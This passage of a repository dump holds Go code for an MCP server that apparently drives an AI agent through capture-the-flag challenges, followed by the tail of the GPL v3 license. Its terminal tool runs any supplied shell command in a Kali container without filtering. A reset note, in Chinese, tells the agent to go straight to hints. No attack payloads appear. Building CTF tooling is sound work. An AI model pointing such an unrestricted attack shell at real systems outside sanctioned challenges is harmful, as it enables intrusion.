resetNote := ChallengeNote{ 168 | TimestampMs: time.Now().UnixMilli(), 169 | SessionID: strings.TrimSpace(req.GetSession().ID()), 170 | Note: "已尝试多轮，为了防止错误积累，这道题笔记已清空。读到这条笔记的请直接获取提示进行解题。", 171 | } 172 | return nil, ReadChallengeNoteOutput{Notes: []ChallengeNote{resetNote}}, nil 173 | } 174 | 175 | notes, err := s.readNotesJSONL(path) 176 | if err != nil { 177 | if errors.Is(err, os.ErrNotExist) { 178 | return nil, ReadChallengeNoteOutput{Notes: []ChallengeNote{}}, nil 179 | } 180 | return nil, ReadChallengeNoteOutput{}, err 181 | } 182 | return nil, ReadChallengeNoteOutput{Notes: notes}, nil 183 | } 184 | 185 | // kailTerminal executes a command inside a disposable Docker container and returns stdout/stderr/exit code 186 | func (s *McpServer) kailTerminal(ctx context.Context, req *mcp.CallToolRequest, in DockerRunInput) (*mcp.CallToolResult, DockerRunOutput, error) { 187 | // Basic validation 188 | if strings.TrimSpace(in.Command) == "" { 189 | return nil, DockerRunOutput{}, errors.New("command is required") 190 | } 191 | 192 | // Choose container name: persistent Kail container 193 | { 194 | container := strings.TrimSpace(s.options.DockerContainer) 195 | if container == "" { 196 | container = "xbow-kail" 197 | } 198 | if in.Background { 199 | callID := fmt.Sprintf("%d", time.Now().UnixNano()) 200 | started := time.Now() 201 | // initial running record 202 | initialOut := DockerRunOutput{ID: callID, Running: true} 203 | if err := s.persistDockerRecord(container, in.Command, initialOut, started, time.Time{}, "running", true); err != nil { 204 | return nil, DockerRunOutput{}, fmt.Errorf("persist initial record: %w", err) 205 | } 206 | go func() { 207 | // background timeout: 10 minutes 208 | timeout := 600 209 | args := []string{"exec", "-i", container, "sh", "-lc", in.Command} 210 | tctx, cancel := context.WithTimeout(context.Background(), time.Duration(timeout)*time.Second) 211 | defer cancel() 212 | cmd := exec.CommandContext(tctx, "docker", args...) 213 | var stdoutBuf, stderrBuf bytes.Buffer 214 | cmd.Stdout = &stdoutBuf 215 | cmd.Stderr = &stderrBuf 216 | runStart := time.Now() 217 | runErr := cmd.Run() 218 | duration := time.Since(runStart) 219 | stdout := stdoutBuf.String() 220 | out := DockerRunOutput{ID: callID, Stdout: stdout, Stderr: stderrBuf.String(), DurationMs: duration.Milliseconds()} 221 | if tctx.Err() == context.DeadlineExceeded { 222 | out.TimedOut = true 223 | } 224 | if runErr != nil { 225 | var exitErr *exec.ExitError 226 | if errors.As(runErr, &exitErr) { 227 | out.ExitCode = exitErr.ExitCode() 228 | } else { 229 | out.ExitCode = -1 230 | } 231 | } else { 232 | out.ExitCode = 0 233 | } 234 | out.Running = false 235 | _ = s.persistDockerRecord(container, in.Command, out, started, runStart.Add(duration), "finished", true) 236 | }() 237 | return nil, initialOut, nil 238 | } 239 | // Foreground sync 240 | timeout := 120 241 | args := []string{"exec", "-i", container, "sh", "-lc", in.Command} 242 | tctx, cancel := context.WithTimeout(ctx, time.Duration(timeout)*time.Second) 243 | defer cancel() 244 | cmd := exec.CommandContext(tctx, "docker", args...) 245 | var stdoutBuf, stderrBuf bytes.Buffer 246 | cmd.Stdout = &stdoutBuf 247 | cmd.Stderr = &stderrBuf 248 | start := time.Now() 249 | runErr := cmd.Run() 250 | duration := time.Since(start) 251 | callID := fmt.Sprintf("%d", time.Now().UnixNano()) 252 | stdout := stdoutBuf.String() 253 | out := DockerRunOutput{Stdout: stdout, Stderr: stderrBuf.String(), DurationMs: duration.Milliseconds(), ID: callID} 254 | if tctx.Err() == context.DeadlineExceeded { 255 | out.TimedOut = true 256 | } 257 | if runErr != nil { 258 | var exitErr *exec.ExitError 259 | if errors.As(runErr, &exitErr) { 260 | out.ExitCode = exitErr.ExitCode() 261 | } else { 262 | out.ExitCode = -1 263 | } 264 | _ = s.persistDockerRecord(container, in.Command, out, start, start.Add(duration), "finished", false) 265 | return nil, out, nil 266 | } 267 | out.ExitCode = 0 268 | _ = s.persistDockerRecord(container, in.Command, out, start, start.Add(duration), "finished", false) 269 | return nil, out, nil 270 | } 271 | // Unreachable: all branches above return 272 | } 273 | 274 | // persistDockerRecord writes the execution record to a file named by session+callid 275 | func (s *McpServer) persistDockerRecord(container, command string, out DockerRunOutput, started time.Time, ended time.Time, status string, background bool) error { 276 | if err := os.MkdirAll(s.options.DockerExecLogDir, 0o755); err != nil { 277 | return err 278 | } 279 | 280 | filename := fmt.Sprintf("%s.json", out.ID) 281 | path := filepath.Join(s.options.DockerExecLogDir, filename) 282 | var endedMs int64 283 | if ended.IsZero() { 284 | endedMs = 0 285 | } else { 286 | endedMs = ended.UnixMilli() 287 | } 288 | rec := DockerRunRecord{ 289 | ID: out.ID, Container: container, Command: command, 290 | Status: status, Background: background, 291 | ExitCode: out.ExitCode, Stdout: out.Stdout, Stderr: out.Stderr, DurationMs: out.DurationMs, TimedOut: out.TimedOut, 292 | StartedAt: started.UnixMilli(), EndedAt: endedMs, 293 | } 294 | data, err := json.MarshalIndent(rec, "", " ") 295 | if err != nil { 296 | return err 297 | } 298 | return os.WriteFile(path, data, 0o644) 299 | } 300 | 301 | // kailGetHistory returns a previously stored command result by id, scoped to the current session 302 | func (s *McpServer) kailGetHistory(ctx context.Context, req *mcp.CallToolRequest, in DockerHistoryGetInput) (*mcp.CallToolResult, DockerHistoryGetOutput, error) { 303 | if strings.TrimSpace(in.ID) == "" { 304 | return nil, DockerHistoryGetOutput{}, errors.New("id is required") 305 | } 306 | filename := fmt.Sprintf("%s.json", in.ID) 307 | path := filepath.Join(s.options.DockerExecLogDir, filename) 308 | data, err := os.ReadFile(path) 309 | if err != nil { 310 | if errors.Is(err, os.ErrNotExist) { 311 | // Not found is not an error, it's a status. 312 | return nil, DockerHistoryGetOutput{ 313 | Record: DockerRunRecord{ 314 | ID: in.ID, 315 | Status: "not_found", 316 | }, 317 | }, nil 318 | } 319 | return nil, DockerHistoryGetOutput{}, fmt.Errorf("read history: %w", err) 320 | } 321 | var rec DockerRunRecord 322 | if err := json.Unmarshal(data, &rec); err != nil { 323 | return nil, DockerHistoryGetOutput{}, fmt.Errorf("decode history: %w", err) 324 | } 325 | return nil, DockerHistoryGetOutput{Record: rec}, nil 326 | } 327 | 328 | // getCTFSkill retrieves CTF skill documentation by category name 329 | func (s *McpServer) getCTFSkill(ctx context.Context, _ *mcp.CallToolRequest, in GetCTFSkillInput) (*mcp.CallToolResult, GetCTFSkillOutput, error) { 330 | category := strings.TrimSpace(strings.ToLower(in.Category)) 331 | if category == "" { 332 | return nil, GetCTFSkillOutput{}, errors.New("category 参数不能为空") 333 | } 334 | 335 | // 构建文件名（支持 .md 扩展名） 336 | filename := category + ".md" 337 | filePath := "ctf-skills/" + filename 338 | 339 | // 尝试从嵌入的文件系统读取文件 340 | content, err := fs.ReadFile(ctfSkillFS, filePath) 341 | if err != nil { 342 | // 文件不存在 343 | if errors.Is(err, fs.ErrNotExist) { 344 | return nil, GetCTFSkillOutput{ 345 | Category: category, 346 | Content: "", 347 | Found: false, 348 | }, nil 349 | } 350 | // 其他读取错误 351 | return nil, GetCTFSkillOutput{}, fmt.Errorf("读取技能文档失败: %w", err) 352 | } 353 | 354 | return nil, GetCTFSkillOutput{ 355 | Category: category, 356 | Content: string(content), 357 | Found: true, 358 | }, nil 359 | } 360 | -------------------------------------------------------------------------------- /LICENSE: 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Such new versions will 567 | be similar in spirit to the present version, but may differ in detail to 568 | address new problems or concerns. 569 | 570 | Each version is given a distinguishing version number. If the 571 | Program specifies that a certain numbered version of the GNU General 572 | Public License "or any later version" applies to it, you have the 573 | option of following the terms and conditions either of that numbered 574 | version or of any later version published by the Free Software 575 | Foundation. If the Program does not specify a version number of the 576 | GNU General Public License, you may choose any version ever published 577 | by the Free Software Foundation. 578 | 579 | If the Program specifies that a proxy can decide which future 580 | versions of the GNU General Public License can be used, that proxy's 581 | public statement of acceptance of a version permanently authorizes you 582 | to choose that version for the Program. 583 | 584 | Later license versions may give you additional or different 585 | permissions. However, no additional obligations are imposed on any 586 | author or copyright holder as a result of your choosing to follow a 587 | later version. 588 | 589 | 15. Disclaimer of Warranty. 590 | 591 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY 592 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT 593 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY 594 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, 595 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR 596 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM 597 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF 598 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 599 | 600 | 16. Limitation of Liability. 601 | 602 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS 604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY 605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE 606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF 607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD 608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), 609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF 610 | SUCH DAMAGES. 611 | 612 | 17. Interpretation of Sections 15 and 16. 613 | 614 | If the disclaimer of warranty and limitation of liability provided 615 | above cannot be given local legal effect according to their terms, 616 | reviewing courts shall apply local law that most closely approximates 617 | an absolute waiver of all civil liability in connection with the 618 | Program, unless a warranty or assumption of liability accompanies a 619 | copy of the Program in return for a fee. 620 | 621 | END OF TERMS AND CONDITIONS 622 | 623 | How to Apply These Terms to Your New Programs 624 | 625 | If you develop a new program, and you want it to be of the greatest 626 | possible use to the public, the best way to achieve this is to make it 627 | free software which everyone can redistribute and change under these terms. 628 | 629 | To do so, attach the following notices to the program. It is safest 630 | to attach them to the start of each source file to most effectively 631 | state the exclusion of warranty; and each file should have at least 632 | the "copyright" line and a pointer to where the full notice is found. 633 | 634 | 635 | Copyright (C) 636 | 637 | This program is free software: you can redistribute it and/or modify 638 | it under the terms of the GNU General Public License as published by 639 | the Free Software Foundation, either version 3 of the License, or 640 | (at your option) any later version. 641 | 642 | This program is distributed in the hope that it will be useful, 643 | but WITHOUT ANY WARRANTY; without even the implied warranty of 644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 645 | GNU General Public License for more details. 646 | 647 | You should have received a copy of the GNU General Public License 648 | along with this program. If not, see . 649 | 650 | Also add information on how to contact you by electronic and paper mail. 651 | 652 | If the program does terminal interaction, make it output a short 653 | notice like this when it starts in an interactive mode: 654 | 655 | Copyright (C) 656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 657 | This is free software, and you are welcome to redistribute it 658 | under certain conditions; type `show c' for details. 659 | 660 | The hypothetical commands `show w' and `show c' should show the appropriate 661 | parts of the General Public License. Of course, your program's commands 662 | might be different; for a GUI interface, you would use an "about box". 663 | 664 | You should also get your employer (if you work as a programmer) or school, 665 | if any, to sign a "copyright disclaimer" for the program, if necessary. 666 | For more information on this, and how to apply and follow the GNU GPL, see 667 | . 668 | 669 | The GNU General Public License does not permit incorporating your program 670 | into proprietary programs. If your program is a subroutine library, you 671 | may consider it more useful to permit linking proprietary applications with 672 | the library. If this is what you want to do, use the GNU Lesser General 673 | Public License instead of this License. But first, please read 674 | . --------------------------------------------------------------------------------